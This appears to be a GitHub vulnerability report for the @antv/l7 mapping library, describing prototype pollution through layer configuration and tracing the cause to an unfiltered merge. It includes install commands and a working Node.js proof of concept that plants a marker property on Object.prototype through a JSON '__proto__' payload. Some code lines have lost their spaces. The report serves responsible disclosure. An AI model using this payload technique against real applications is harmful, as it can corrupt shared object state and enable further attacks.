Skip to content

@antv/l7 Layer Configuration Prototype Pollution via Public Layer APIs #2868

Description

@hustcc

问题描述

Affected versions:

  • @antv/l7@2.28.14
  • @antv/l7-layers@2.28.14
  • @antv/l7-core@2.28.14
  • @antv/l7-utils@2.28.14

Summary:

L7 layer configuration can trigger prototype pollution through public layer APIs. A user-controlled config passed to new PointLayer(config) is stored as rawConfig. During normal layer initialization, normally triggered by scene.addLayer(layer), BaseLayer.init() calls globalConfigService.setLayerConfig(sceneId, layer.id, this.rawConfig). setLayerConfig() merges this config with defaults using @antv/l7-utils``lodashUtil.merge().
The merge implementation iterates source objects with for...in and does not block __proto__, constructor, or prototype. A JSON-derived config with an own enumerable __proto__ property therefore recurses into Object.prototype and writes attacker-controlled properties onto every plain object.

Install:

mkdirl7-pp && cdl7-pp
npminit-y
npmi@antv/l7@2.28.14@antv/l7-layers@2.28.14@antv/l7-core@2.28.14@antv/l7-utils@2.28.14

PoC using public layer APIs:

global.document={
documentElement:{style:{}},
createElement:()=>({style:{}}),
querySelector:()=>null,
body:{},
addEventListener(){},
removeEventListener(){}
};
global.window={
document:global.document,
devicePixelRatio:1,
navigator:{userAgent:'node'},
addEventListener(){},
removeEventListener(){}
};
global.navigator=global.window.navigator;
const {globalConfigService}=require('@antv/l7-core');
const {PointLayer}=require('@antv/l7-layers');
constsceneId='scene-public-layer-config';
globalConfigService.setSceneConfig(sceneId,{});
constattackerConfig=JSON.parse(
'{"__proto__":{"l7_from_pointlayer_config":"PWNED_FROM_POINTLAYER_CONFIG"}}'
);
constlayer=newPointLayer(attackerConfig);
layer.setContainer({id:sceneId});
deleteObject.prototype.l7_from_pointlayer_config;
layer.init()
.catch(e=>{
console.log('init rejected after layer config merge:',e.constructor.name);
})
.finally(()=>{
console.log(Object.prototype.l7_from_pointlayer_config);
console.log(({}).l7_from_pointlayer_config);
deleteObject.prototype.l7_from_pointlayer_config;
});

Expected output:

init rejected after layer config merge: TypeError
PWNED_FROM_POINTLAYER_CONFIG
PWNED_FROM_POINTLAYER_CONFIG

The TypeError is caused by the minimal Node.js container not providing renderer services. The pollution happens before that error, during the layer config merge.

Root cause:

-@antv/l7-layers``BaseLayer stores public constructor config as rawConfig.
-BaseLayer.init() passes rawConfig to globalConfigService.setLayerConfig().
-@antv/l7-core``setLayerConfig() calls merge({}, sceneConfig, defaultLayerConfig, config).
-@antv/l7-utils``lodashUtil.merge() recursively processes for...in keys without filtering prototype-pollution keys.

重现链接

No response

重现步骤

No response

预期行为

No response

平台

  • 操作系统: [macOS, Windows, Linux, React Native ...]
  • 网页浏览器: [Google Chrome, Safari, Firefox]

屏幕截图或视频(可选)

No response

补充说明(可选)

No response

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions